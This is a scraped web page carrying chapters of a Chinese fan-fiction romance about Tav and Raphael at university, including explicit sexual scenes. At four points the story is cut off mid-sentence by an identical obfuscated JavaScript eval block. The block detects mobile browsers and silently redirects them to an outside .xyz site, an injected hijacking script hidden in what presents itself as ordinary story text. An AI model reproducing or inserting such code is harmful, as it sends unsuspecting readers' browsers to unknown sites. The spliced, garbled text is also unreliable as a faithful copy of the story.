;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505773|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑越高,塔夫声音越来越低,“……已经这么晚了,我们明天早上聊。” 影心噗嗤笑出声:“快去吧。明天再说。” . 第二天,却是塔夫先问起影心的事。 影心小时候曾被痛苦女神莎尔的教会诱骗,她的父母对她一向十分紧张,充满保护欲。而这次提前回来,却是因为她和父母发生了冲突。 “我终于告诉他们,我毕业后没有接受圣职成为牧师的打算。”她耸耸肩,“他们说很后悔让我来念大学,而不是在教会接受教育和训练。” 影心的语气很是轻描淡写,不过能让她负气直接离家、连夜赶路回学校,冲突肯定很剧烈,而且双方谁也没有让步的想法。 不等塔夫说什么,影心又立刻笑着说:“所以如果你能帮我介绍个餐厅兼职的话,那就帮了大忙啦。” 塔夫连忙点点头:“当然!”她同影心约好下次兼职一起去,又问, “哈尔辛知道了吗?” 影心抿抿唇:“我刚回来。而且我们不太谈这些。”她又朝塔夫眨眨眼睛,有些促狭地重新笑起来,“别转移话题,该说说你了。” 塔夫觉得影心状态不太对劲,想要追问,又突然记起拉斐尔那套《不幸》中的一句话: ——当有人哭泣时,高尚的做法是安慰他们。 ——但如果那个人试图隐藏自己的眼泪,假装没有注意到他们哭泣也可能是高尚的。 很适合这个场景。 她自己也并不喜欢别人的怜悯。 塔夫犹豫好一会,最后还是顺着影心的话微笑答说:“我和拉斐尔开始交往了。” “那个拉斐尔?” “那个拉斐尔。” 影心眼睛一下子睁圆,要她快仔细说。塔夫其实也想和朋友分享这喜悦,见影心整个人兴奋又好奇,一下冲淡了不少刚才的低落,便专门挑有意思的事情告诉她。 “哈哈哈哈哈!” “真的假的,这么不会看气氛!” “等等!什么?两个月?!” …… 说到最后,虽然屋里没有别人,影心还是压低声音:“你们……试了吗?” 哪怕塔夫有心理准备影心一定会问这个,听到问题的瞬间还是脸颊一热:“唔。” 影心见塔夫难为情的模样便没再追问,却在行李中翻找起来。 这花了不短的时间,因为她带回许多行李。同时也让塔夫不免推测,也许影心早就计划了与父母的这次冲突,所以提前做好了一些准备。 终于,影心一脸神秘兮兮地抽出一本薄薄的小册子,看上去有些年头,但破损的边缘都被仔细修补好,还加了一层封皮。看那细致的程度,极有可能是哈尔辛的手工。 “借你一个学期。”影心像是地下交易一般递给塔夫,“记得还给我……等等!你恐怕不会想现在就看!” 可惜塔夫已经随手翻开。 栩栩如生的二小人打架图例,姿势十分眼熟。旁有文字解释,另附风趣小诗一首,粗体字标注则是:传教士。 塔夫默默翻到被遮掩的封皮,一字一字阅读那饱含挑逗和浪漫气息的装饰花体字—— ——《淑妮四步》 影心咳嗽一声,既然没能成功阻止,便干脆又一次朝塔夫眨眨眼睛:“还可以和他一起看哦。” . 94.社交 四周后。 塔夫慢慢收好羽毛笔和墨水瓶,拖着脚走出考场,一眼望见拉斐尔。 他还是提前结束、也许是跳过了这天早上的赛艇队训练,专门来等她。 塔夫快步走到他身前。 “怎么样?”拉斐尔伸出手臂拥抱她。 塔夫犹豫片刻,回道:“全部答完了。” 医学院的标准化考试以题量大“闻名”,全部是非定向选择。塔夫没有拒绝拉斐尔的帮忙,提前模拟练习了两遍,第一次时没有心理准备,甚至才勉强做完一半题目。 而现在,她这回答既是庆幸也有不安。有挺多不确定的地方,她都只能凭直觉判断,没有任何时间回头细究。 反倒是拉斐尔对她很有信心:“那便至少赢过四分之三的人。” 塔夫笑着嗯了声,两人提前开始这天的约会和庆祝。 . 也许是受等待考试成绩的影响,过去几周来一直若隐若现的感觉再次出现——用失控来形容大概太过夸张,但塔夫的确有一种无处使力、甚至是无力的感觉。 影心开始兼职,每周五天,看上去总是很疲惫。塔夫问起来,她每次的回答都是没有事,只是睡眠不足。 一门必修专业课的教授年长固执,自称温和保守派,在大多数学生看来则是思想迂腐,偏偏他还喜欢在课上提起那些观点,常常搞得一整堂课变成与学生的辩论。 社团活动——屋顶上的猫剧团——进展也很温吞。 按前几年的情况,戏剧社确认新人名单后,剧团会集中收到演员报名。然而今年戏剧社变成弹性滚动申请,直到招够“有天赋、有热情”的演员。 这直接影响到剧团招新。 有团员提议借用拉斐尔和阿斯代伦的名声,哪怕他们只是上学期的临时演员。塔夫也同菲拉这样打趣过,而且她确信拉斐尔不会介意——他甚至询问过是否需要他继续留在剧团。 当时表示反对的是萝拉,话有些尖刻:“我们可不需要那些只是想借机凑到拉斐尔或其他贵族身边的成员。” 她说完顿住,望了眼塔夫又弥补似的飞快解释道,“我的意思是,我们更希望来的人是真的对戏剧和表演感兴趣,比如现在在剧团的每个人。” 塔夫朝萝拉笑了笑,觉得可以支持她成为下任剧团团长。 那名团员先表示赞同后又反问:“可是团长不正在和拉斐尔交往吗?” 不等塔夫感到不快,里萨已经呛了回去:“你这就已经忘了吗?拉斐尔和阿斯代伦都是因为塔夫才会来帮忙的。” 以及,是的。 学校的每一个人,只要听过拉斐尔的名字,大概也会知道他正在交往的对象叫作塔夫。 . “这是塔夫,你们应当已经知道,我们正在交往。”拉斐尔手轻轻抚上她肩膀。 塔夫回过神,把酒杯换到左手。杯身摇晃,浅色的酒液泛出气泡,浮上表面后碎成细小的白色酒沫。 她同对面的一位卷发女生和瘦高男生松松握了握手。 “你的裙子真是漂亮极了。”女生恭维道。 出于某种心理,塔夫借需要准备考试的理由推迟了整整四周,才终于在拉斐尔的社交圈正式露面,同他一起来到这个有许多贵族和兄弟会成员参加的邀请制派对。虽然已近十月,她仍是换上了那条绿色丝绸裙,并收到了每一个人同样热烈的赞美。 “谢谢。你看上去也棒极了。”塔夫笑起来的时候,觉得上唇有些发干,需要用力抿一下才能合上嘴。 卷发女生继续介绍了自己的姓氏,以及身旁的男生谁谁又是来自哪个家族。 “谁谁是某某的表弟,某某的母亲和叉叉的母亲经常一起参加点点遗孀的沙龙。叉叉的妹妹圈圈和点点的女儿线线一定会很遗憾今晚没能来这里,她们一直在说想要亲自认识你。”女生又道。 塔夫微笑点着头,发现自己开始有些记不住这许多名字。但似乎每个人都知道她是谁,而且和她一向熟悉,哪怕她从来没有见过他们。 女生继续道:“我们几周后还会与两位太太一起去面面先生组织的慈善拍卖晚会,听说雷文伽德公爵也会露面,捐赠一副完整的红龙骨架。谁谁最近一直在和某某讨论这个,真是搞不懂他们想要做什么,我可没兴趣在客厅里摆一副骨架子。你与拉斐尔也接受慈善拍卖的邀请了吗?” 塔夫望向拉斐尔,他正在同那位瘦高男生交谈——男生的名字叫……谁谁? 塔夫很快收回视线,如实答:“我不知道这个晚会或邀请。” 女生微笑起来,没有一点冷场:“是我这个问题问得太奇怪,你们当然不需要邀请便可以直接入场。如果我有幸在那里与你再见的话,你可得要悄悄告诉我哪些首饰是你势在必得的,我会请某某太太快点放弃,别自不量力地同你竞价。” 塔夫终于抿了口酒:“我会的。” …… 幸好有的对话要正常或者说简单一些,让她可以得到一些喘息。 比如当对方是阿斯代伦时。 说实话,他表现得很浮夸,塔夫却莫名觉得他比其他人要真诚……那么一点。 “塔夫,我亲爱的,好久不见。你今晚简直迷人极了!无论我怎么努力尝试,都没办法从你身上挪开视线哪怕半秒钟。” “那你可以再努力一些。”拉斐尔表情平淡地回。 阿斯代伦笑着张开双臂,给塔夫一个密友似的拥抱,金属扣子贴在她皮肤上有些冰。接着他和往常一样,摆出似笑非笑的表情,揶揄道:“难怪我最近很少见到拉斐尔。” “是吗。我倒是觉得已经足够多了。”拉斐尔凉飕飕地回。 阿斯代伦笑一声,又愉快地提议由他带塔夫去认识下法学院“更有成熟魅力的男人”,而不是“喜欢吃醋没有安全感的男孩”。这次,拉斐尔干脆直接地回绝了他。 “你这是在替塔夫做决定吗,拉斐尔。”阿斯代伦立刻看热闹不嫌事大。 塔夫也笑着摇头谢绝:“我从你身上得到的魅力‘已经足够多了’。” 阿斯代伦一副很满意的样子。 拉斐尔则在他离开后与塔夫轻轻击了下掌:“模仿得非常像。” …… 还有另一位塔夫熟悉的面孔。 威尔。 他看上去有些吃惊,望着塔夫片刻,然后笑了:“恭喜你们。” 拉斐尔轻哼一声,唇角却微微上扬,最后还是跟着塔夫一起道了句:“谢谢。” 塔夫觉得“恭喜”有些太过正式,忍不住又添上一句:“我们刚开始交往。” 拉斐尔像是在纠正她:“已经四个月。” 塔夫一愣:“已经四个月了?不过也并不算太久吧。” 拉斐尔:“一个学期的长度甚至不到四个月。” 塔夫:“这是什么通用的时间长短的标准吗?” 拉斐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516001|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔:“如果用作比较,‘交往了一整个学期’,听上去已经是非常稳定的关系。” 又一次在二人之间插不上话的威尔:“……” 这时,一位穿黑色马甲的侍者匆匆走来,打断塔夫和拉斐尔的数日子,悄声对拉斐尔说了什么。 拉斐尔立刻告诉塔夫:“叉叉请求私下见一面。” 塔夫听名字有些耳熟,努力回忆还是没能想起那人的长相,但已经要拉斐尔别担心自己:“我其实也想和威尔单独聊聊。”她说着望向威尔询问他的意思。威尔立刻点头道:“当然。我的荣幸。” 拉斐尔眯了眯眼睛,塔夫好笑地冲他摇摇头。于是拉斐尔在威尔肩膀上重重拍了下,随侍者暂时离开。 . “在这里感觉怎么样?” 威尔陪塔夫来到一扇落地窗旁,那里离吧台最远,安静不少,更方便聊天。 “还不错。”塔夫停顿片刻,“说实话我不太确定,好像还有点不知道自己到底在哪里。” “我理解你,我知道那种感觉。”威尔道,“不如说,我现在也是如此。” “作为雷文伽德公爵唯一的儿子?”塔夫惊讶,又用夸张地语气说,“这一晚上,我听到至少七十个人提起过你父亲。” 威尔笑容有些无奈:“这数字听上去有点少。” 塔夫也笑了,语气却带上些尖刻:“每个人都知道你的事。”她像是在替威尔忿忿不平,“而且没人问过你的意思。” 威尔沉默片刻,回说:“这也说明拉斐尔很重视与你的关系。” “我知道。”塔夫垂下眼睛,“所以我才不知道我应该感到些什么。” 她重新看向威尔,正撞进他眼睛里。他目光很是关切,塔夫忽然注意到他的瞳色是与自己一样的深棕色,怔了怔,连忙偏开视线,又过了会才开口: “我想和你说的是。与拉斐尔交往是我自己的决定,我和他之间没有任何交易。无论以后如何发展,我始终都会感激你,而不是……你知道的。” 威尔很爽朗地笑了一声,朝她伸出手:“那么,我始终会是你的听众。” 塔夫飞快握了一下:“不过有件事,我其实想听听你的看法。”她问起校友日第三天早上,几人一起出现在河边校友俱乐部的事。 威尔思索片刻:“应当还是由拉斐尔告诉你。” 塔夫点点头,威尔保守秘密的态度其实已经足够说明很多。虽然她没有怀疑过拉斐尔,但免不了好奇,此时从威尔这里得到确认,那件事的确是“不能说”。 “倒有一件事是公开的。”威尔又接着道,“晚上的慈善舞会,拉斐尔与米佐拉跳了开场舞。” “那有什么特殊意思吗?在你们的圈子里。” “没有特定的含义。”威尔想了想,“也许只是我在感到嫉妒。” 塔夫望着威尔,不太确定他的意思。他有些尴尬地笑了下:“这个玩笑似乎不怎样。”于是塔夫跟着笑了:“原来是这样。” 心里的疑问少了半个却又添了另一个。 不过塔夫没再追问下去,和威尔聊了聊别的。他今年也大二,仍未确定专业,两人又谈起赛艇队和社团活动,威尔忽然表示他很有兴趣试试表演。 “非常欢迎你来!”塔夫介绍一番又笑着补充,“不过虽然我是剧团团长,也无法向你保证男主演的位置。” 威尔的回答却是:“拉斐尔。” . 95.无力 塔夫:“?” 威尔的意思是,但拉斐尔去年是主演,所以他也想要成为主演? “塔夫说的是真的。”原来是拉斐尔回来了。 拉斐尔自然站到她身旁,和她手臂挨着手臂,对威尔一脸认真道:“你需要很努力去争取,而且还要小心别被塔夫的话搞得灰心丧气。” 塔夫好笑地瞪他一眼:这说的真的是剧团排练吗? 威尔笑了:“听上去很严格。” 拉斐尔点头:“比赛艇队的训练还要严格。” 塔夫无语:“谢谢你的帮倒忙。” …… 然而这样轻松的时刻毕竟只是少数,大部分聊天的主题仍是塔夫没听说过也并不了解的人。又一次听到雷文伽德公爵的名字以及那副完整的红龙骨架后,她提起与公爵有关的另一件事: ——过去这个夏天,削减焰拳经费的呼声和影响。 “但我们并不在博德之门。”对方把对话轻轻放下了。 塔夫忽然涌上一阵自我怀疑。诚然,对方很可能只是不愿意谈论这个有些敏感的话题,但她在那个瞬间听到的回答却是,既然她的思考和讨论不会产生任何影响,那她的好奇和兴趣便没有什么意义。 那念头很快就被塔夫自己嘲弄走,不过留下的一点是肯定的。这里的大部分人,无论态度多么热情,其实对她是谁并不关心。也许他们会好奇她的背景、又是如何认识拉斐尔,但谈论的语气恐怕和说起那副红龙骨架时没有区别。 塔夫望向拉斐尔,感动于他对自己的珍视,却同时体会到一种矛盾的甚至可以称得上憎恨的反感情绪,哪怕她十分清楚拉斐尔并没有这样对待自己。 她不想成为一副骨架。 在农场时拉斐尔的话一点不错,这些人的目光和好奇并不令人愉快。 她能应付得来,却还是会感到疲倦。 . 回到学校时已近午夜。 塔夫正打算把拉斐尔的外套脱下来还给他,就已经被连人带衣服地一起搂在怀里,衬衫下的身体很温暖,塔夫忍不住贴得更近些,闭上眼睛。拉斐尔一只手伸进外套,从腰侧温柔上移,抚在她赤裸的一小片后背上,一路熨帖得她很舒服。 “这条裙子很适合你。” “我也很开心终于有机会重新穿上它。” “你……想去我那里吗?”拉斐尔语气带着明显的惊喜。 他的心跳也加快了,贴在她身前发出邀请。塔夫仍靠在拉斐尔怀里,慢慢睁开眼睛。 她刚才话里并没有任何意有所指,但这条裙子对于二人的确充满暧昧的暗示,最后一次还是她提起的。 拉斐尔声音变得更有磁性:“明天是周日。” “已经很晚了。”塔夫说,“你明天下午还有比赛,上午也需要准备。”她从拉斐尔怀里退开些。 拉斐尔似乎仍想说什么,塔夫脱下外套,踮起脚吻吻他:“而且我有点累了。我会去为你加油的,明天见。” . 塔夫回到房间,影心见到她露出些意外的神色。影心也刚结束兼职回来不久,询问过她考试,两人都很累,没有多聊。 塔夫躺在床上,努力不去翻身,知道影心也始终没有入睡。而影心给自己的那本薄薄的小册子,被她小心藏在床边,却始终没有再翻开,也没有和拉斐尔说起。 这又是一件她感到无力甚至沮丧的事。 她和拉斐尔的情事。 . 拉斐尔是一个很好的情人,热情、有耐心……偶尔听过影心对其他男生“只顾自己爽”的评价,塔夫深知自己很幸运,拉斐尔并没有自以为是,而是真的关注她的感受。 因此哪怕她和拉斐尔都没有经验,但一起摸索对方的身体,熟悉陌生的反应,学习技巧从青涩变得自信,这让她有种成为彼此一部分的感觉,反而更加亲密。 尽管如此,过去四周她和拉斐尔又试过几次,每次都草草收场。 这似乎和之前的评价相矛盾,但的确如此。 拉斐尔技巧越来越好,不需要分叉的舌头便能令她满足,上一次还多加了手指。他的嘴唇会紧紧含住花核,舌尖灵巧地挤压,指尖却像羽毛一样试探着拂过湿润的花瓣。但只是最轻柔的触碰,都会让她感到一阵电流,汇入本就无比集中而又强烈的感官。 她几乎想要呻吟着恳求他,恨不得朝他的手指挺蹭,却望见他正在观察她的反应和表情——以判断他做得是否令她满意。 拉斐尔喜欢看她享受他带来的快乐,也会只因为她的快乐就有所反应。然而哪怕他进入后,仍能几乎冷静地保持着这种观察。她始终没能习惯那种被撑开的不适感,这时候给出的反馈总是混乱而又模糊。他会温柔地放慢速度:“刚才那里你会感到更舒服一些吗?”或者之后询问,“刚才什么时候你感觉最好?” 这让她很难回答,她感觉都差不多,说不上好也说不上不好。不过她知道自己想听到拉斐尔第一次时发出的几乎带着痛苦却又满足的叹息,也想看到他因为自己意乱情迷的样子。 但拉斐尔总是会在一段时间后,在她刚开始有些承受不住的边缘,克制着慢慢退出来。 她不介意这个时候按他的节奏来,也问过拉斐尔:“你这样不会不舒服吗?” 他微笑着回:“我没问题。” 这不是她想要的回答,于是她上次直接提出她可以为他做些什么。 “别担心,我当然有办法。”拉斐尔在她额头上吻了吻,又温存片刻便去洗澡——因为他一会还需要送她回去。 塔夫一个人坐在床上,感到一种强烈的挫败和无助,甚至冲淡了之前同样强烈的快乐。 . 那次是她和拉斐尔最后一次亲密,已经是在两周前。 她后来开始找些理由,复习啦,不太舒服啦。她的身体也很配合她,经期提前。几乎像是回到小时候——当她想要装病的时候,常常真的感到不舒服。 她觉得拉斐尔心底知道她在推脱,所以才会在今晚表现得那样惊喜。 然而她其实渴望与拉斐尔亲密,这让她怀疑自己是不是有什么毛病:心里明明想要,却在拉斐尔这样照顾她的情况下仍没有办法享受。而拉斐尔在二人有些尴尬的第一次后,似乎也给他自己定下了无形的要求:先令她满足。 可如果她永远都无法满足呢。 她又为什么会没有办法享受? 在性.爱上,在考试上,在派对上,在各种事情上,为什么她总能找到令自己不快的地方……还是说这种不满足都源自性。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533872|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这真的会对心理有这么大的影响吗? . 塔夫又翻一次身,听到影心起床去卫生间。 她睁开眼睛望向门隙下的灯光。影心对很多事都有自己的看法,也从不吝于分享。但她在真的与拉斐尔进入这层亲密关系后,以往可以笑着说出口的话题,一下子变得羞耻和敏感起来。这不仅仅只是观点之间的讨论,而是与她本身紧密相关。 如果这真的是她的问题可怎么办。 ……而且,影心最近的压力已经足够多了。 . 翌日。 赛艇比赛实际是校内练习赛。拉斐尔只演示划了一轮,便回到岸上与教练一起考察新人水平。塔夫坐在另一侧,重新看起随身所带的复习笔记。 结束时已近傍晚。拉斐尔希望换身衣服再和她去吃晚餐,塔夫说她并不介意,不过两人最后还是一起先回赛艇队。路上拉斐尔有些意外:“你仍在准备医学院的考试?” “虽然还没有出结果,不过我想要再试一次。”塔夫抿了抿唇,“下个月在博德之门有另一场考试。” 开始时间仍是早上,因此前一晚需要住在那里。 拉斐尔立刻同意了,声音都有些颤抖:“请由我来安排这次短途旅行。” 他脸颊因为激动微微泛红,塔夫回答时却有些不快:“这不是旅行。”见拉斐尔愣了下,她又立刻补充,“我因为成绩有些紧张……谢谢你。我很期待。” 塔夫再次拥有了这个对她来说最重要的理由。 晚饭后她要求回去复习。拉斐尔无法反对。 . 两周后。 塔夫终于收到成绩,比预想中的要好。 分数足以申请她向往中的医学院,哪怕是最好的博德之门医学院。然而不够突出亮眼,换言之,有可以改善的空间。 与她最近的状态相同。 但也是那个周末,她又收到两个纯粹的好消息,都和剧团有关。 第一个是威尔正式加入屋顶上的猫,将扮演阿斯代伦上学期出演的哥哥一角。他气质内敛甚至带有些敏感的特质,非常适合这一角色。 第二个则是菲拉把她拽到一旁,小声说: “我和里萨正式开始交往了。” “这真是太棒了!我真为你们高兴!”塔夫惊呼,惹得剧团其他人纷纷看过来。 “不过我们暂时还不想公开。”菲拉连忙又说,“但我想第一时间让你知道。” 塔夫立刻抬眼朝舞台上方望去,里萨仍在向这边瞧,与她目光交汇,又马上转过头。 “里萨知道我会告诉你。”菲拉微笑道,“但她脸皮薄,不肯来。” 塔夫也笑了,放低声音:“恭喜你。” 菲拉又朝她走近半步,更小声地说:“我决定迈出这一步,其实是因为你和拉斐尔。” 塔夫怔了怔,把一些不那么合适的尖刻玩笑咽了回去,比如:可惜她没有机会第一时间告诉菲拉自己同拉斐尔的关系,因为那个时候,学校里的每个人都知道了。 菲拉已经飞快拥抱她:“你和他的关系让我觉得有了勇气。谢谢你。希望我们的关系都会顺利。” 塔夫慢慢回拥住她:“谢谢。我们都会的。” . 96.勇气 塔夫说不准自己到底给菲拉带来什么勇气。 如果她真的起到任何激励,那也是意料之外的效果。倒不如说,是她反过来从菲拉那里得到了安慰。 . 因为里萨不想公开,塔夫没有把这件事告诉拉斐尔——哪怕菲拉感激时也提到了他。 不过拉斐尔似乎仍能够察觉到她心情很不错,晚餐后,他说起二人的“旅行”计划:“考完试想放松一天吗?那个周六博德之门正好有慈善拍卖晚会,也许会有什么你感兴趣的东西。我们可以多住一晚,周日返程。” 塔夫想了想:“赛艇队的训练呢?” 拉斐尔笑了:“同你的严格程度相比,教练也要甘拜下风。别担心,有哈尔辛在,不会出任何问题。”他语气轻松,但眼神有些颤抖,显然很期待她的答复,也很想要同她一起多玩一天。 “是有那条红龙骨架的拍卖会吗?” “你喜欢的话,那具骨架便是你……我们的了。我赞同你之前的评价,我的卧室里的确缺少一些装饰。” 塔夫忍不住也笑了:“哪怕是你的卧室也装不下一副骨架吧。不,我只是挺好奇那骨架会有多完整。” 拉斐尔像是受到鼓励,继续介绍起来:“如果你在拍卖现场感到无聊,看过骨架后我们可以随时离开。博德之门的晚上甚至比白天还要热闹,歌剧院、酒馆、夜市、赌场……” “已经足够了。”塔夫模仿他上次的口吻,又捏捏他的手,“你说服我了。” 拉斐尔立刻停下脚步,紧紧拥抱住她,胸口起伏,似乎还想要欢呼一声,不过及时克制住。 塔夫被他感染,忽然涌上冲动:“我今晚也想放松一下。” 拉斐尔微微松开她,不确定地望向她的眼睛。 塔夫笑着回望他:“从复习计划中。” . 与几周前相比,拉斐尔的卧室还是同样的空荡,不过塔夫没有多余精力再去评价。与拉斐尔的亲吻从没有这样令人兴奋,而他似乎也感到同样的急切。二人鼻尖相触时,他已经解开衬衫露出大片胸膛,二人唇齿纠缠时,他已经握住她的手抚向自己小腹。 他皮肤的温度似乎也比以往更加灼热,几乎散发出热浪,让她身上很快泛起潮红。拉斐尔赞叹地亲吻她抚摸她,每一次亲吻,指尖都会逐渐向下游走,最后却停在她内侧皮肤。 ——因为塔夫捉住了他的手腕:“我们先去洗澡。” 拉斐尔顺从了这个指令中的每一个字,抱起塔夫来到浴室,并在她一脸惊讶时重复:“我们。” 塔夫好笑地抿着唇,心里也想试试,于是点点头。 可惜这次洗澡没有太多想象中的暧昧——二人对水温的要求很不一样。 拉斐尔诧异塔夫居然能耐受几乎是沸水的温度。 塔夫则称他习惯的水温与冷水澡没有什么区别。 “我总是以真正的冷水结束每次的洗澡。”拉斐尔要去调温度证实自己所言非虚,被塔夫及时阻止。 最后,他们在忽冷忽热的水温中很快结束初次共浴。 塔夫先急匆匆地踏出淋浴间,却还是被忽然转冷的水溅在小腿上,冰得回过头,看到拉斐尔一副证明成功的得意模样:“这才是真正的冷水澡。”她顿时气得龇牙咧嘴:“你果然是故意的!” 为了给拉斐尔点颜色看看,塔夫未经询问地直接征用了他的浴巾擦头发。 其实浴室里还有许多毛巾。不过拉斐尔明显没有擦干,直接裹着浴袍出来。他头发湿漉漉地贴在脸上,颜色几乎深成黑色,英俊的五官也显得柔和一些。塔夫瞥他一眼,忍着笑继续非常认真卖力地擦头发,直到拉斐尔笑着接过浴巾。 塔夫坐在床边享受拉斐尔的仔细服务,动作比她自己刚才温柔许多。 她还可以很悠闲地欣赏眼前漂亮的胸膛线条——随拉斐尔手上动作而有细微变化——于是她干脆伸出手,直接贴在他结实的肌肉上,感受掌下起伏和跳动。这让她心情非常愉快,又再次难以相信:“你皮肤温度明明比我高,却不觉得那种水温冷?” “你比我要烫得多。”拉斐尔用同一条毛巾随意擦起自己的头发。 塔夫手又摸几下他的胸口:“并没有。” “很快就会了。”拉斐尔把毛巾扔到一旁,倾身吻住她。 这一次,他的吻恢复以往的耐心,爱抚也格外细密轻柔,从脸颊脖子开始缓缓向下,仿佛想要重新回忆她皮肤的每一处触感。 塔夫始终被拉斐尔环在怀里,贴着他的嘴唇,几乎以为这样温柔的亲吻和抚摸会持续一整晚,直到他的手指慢慢滑入口中。她身子一僵又一颤,亲吻却一下变得激烈起来。 拉斐尔的舌头强硬地将她唇齿分开更多,扫过她口腔更深处的地方,近乎粗暴地挑拨她的舌头和上颚,那让她几乎有些哽咽,像是想要证明什么似的,很快便捧住他的脸回应。可尽管亲吻如此热烈,唇舌纠缠如同战争一般,她却始终分出一部分感官包裹住拉斐尔的手指,随着他慢慢刮蹭探索,偶尔微微用力按压。 不知什么时候,塔夫已经从拉斐尔怀里退开些,也许是他先稍稍后退以便观察她的表情。她手搭在他肩膀,眼里升起一片水雾。当拉斐尔拇指贴着她神经稍束中心缓缓打转研磨时,塔夫终于喘叫出一声: “拉斐尔……” 拉斐尔重新贴在她唇上,与其说是接吻,倒更像是在帮助她呼吸,声音充满磁性地鼓励说:“你做得很好,塔夫。” 为什么他这么平静!塔夫突然想要狠狠咬他,指甲掐进他的肩膀,或者推开他,然而都没有力气,和过去几周相同却又不同的无力。 她只能张着嘴,急促地呼吸,努力睁开眼睛望向拉斐尔。 “放松。”拉斐尔声音更轻,贴在她耳边,温柔而缓慢,“感受我。你不需要和我,或你的感觉对抗。” 塔夫觉得有什么紧绷的东西断掉了,放弃一般闭上眼睛,任凭自己被浪潮卷起。 余韵过了好一会才慢慢消退,她也终于能够重新睁开眼睛,全身肌肉因为刚才的紧绷而有些酸软。拉斐尔却已经好整以暇地坐起在她身前,正细致地吮舔干净每一根手指,仿佛那是他品尝过的最美味的佳肴。 哪怕他过去偶尔也会露出一副志得意满的讨打模样,但从没有如此……直接在她眼前……抿着嘴回味…… 简直像是她被他气哭那次! 这时拉斐尔朝她笑了笑,露出雪白整齐的牙齿,得意之色更加明显。 塔夫咬着唇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14543711|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪视拉斐尔。他眼神看上去却更深邃了,再次抿抿唇,像是在期待什么。而她不但立刻就能猜到,还差点说出口。塔夫简直想要咒骂了,生生忍耐住,也终于把那句“好吃吗?”咽了回去,直接伸出手握住他。 “哈……”拉斐尔轻轻喘出一声,满脸意外,从眼底皮肤开始,脸颊、脖子和锁骨很快红成一片。他仍在她身上俯视着她,但因为极力忍耐,表情几乎带上脆弱,声音也像是嘶哑的恳求,“塔夫……我……” 原来他还可以这么勾人。 塔夫不由得也抿抿唇,不过刚松松滑动一下手指,就被拉斐尔牢牢握住手腕。 他又立刻放松,却不容置疑地把她的手慢慢举到唇边吻了下,朝她伏过身:“我已经足够……了。” …… 也许是因为之前用手指适应过,这次塔夫感觉没有那么不习惯,甚至可以偶尔挪挪腰,有几次似乎感到些陌生又熟悉的反应。虽然总是一晃而过令她怀疑那其实只是自己的幻觉,但毕竟还是让过程多了些点缀,不再只是承受。 她甚至配合着哼哼了几声。 然而,二人的这次尝试最后还是以草草收场作为告终。 拉斐尔再次箭在弦上,然后临阵脱逃。 …… 拉斐尔“逃去”洗澡时,塔夫却回忆起来。 她有好几次都能感到他在发抖,呼吸忽然变得粗重,喘息像是直接从胸腔发出,和他第一次的时候很像。可惜她已经想不起来具体是因为什么,只记得他会突然捏紧手,或者狠狠咬住唇,似乎在用疼痛转移注意。 有一次,她耳旁的丝绸床单甚至发出像是被抓裂的声音。 塔夫垂眼检查了一下。 她的记忆夸张了,床单没有裂,只是有些皱。 而单单只是看着那里,她便开始有些脸颊发烫。 水声停止,她立刻决定还是先别再想了…… 下次再说。 . 塔夫回到宿舍。 影心刚躺下,还没睡,而且难得有谈兴,主动问起她约会的事。 聊着聊着,塔夫虽然有些难为情,还是承认她仍没有看那本书,更没有和拉斐尔分享:“我好像还不太习惯,也始终感觉不到什么。” 她觉得这话实在是有些歧义,想要替拉斐尔进一步解释却支支吾吾起来,影心直接替她说了出口: “……的时候,没办法……?” 影心话说得直白,塔夫脸一红却又松一口气,连忙点点头。 “这很正常。”影心耸耸肩,“我是直到和哈尔辛试过几次后,才能够感到……。而那距离我第一次已经是两年后了。” 不等塔夫从“两年”的震惊中恢复,影心又抛出“有的人可能一直无法体会到……,据说这个比例还不小呢,精神状态比如紧张或者害羞什么也会有很大影响。不过,好在我们也不需要靠……才能……。”最后她朝塔夫眨眨眼睛,“刚才那些,很多《淑妮四步》里都有哦。” . 于是,塔夫成功说服自己:不过是另一件需要学习的事嘛!没什么可羞耻的! 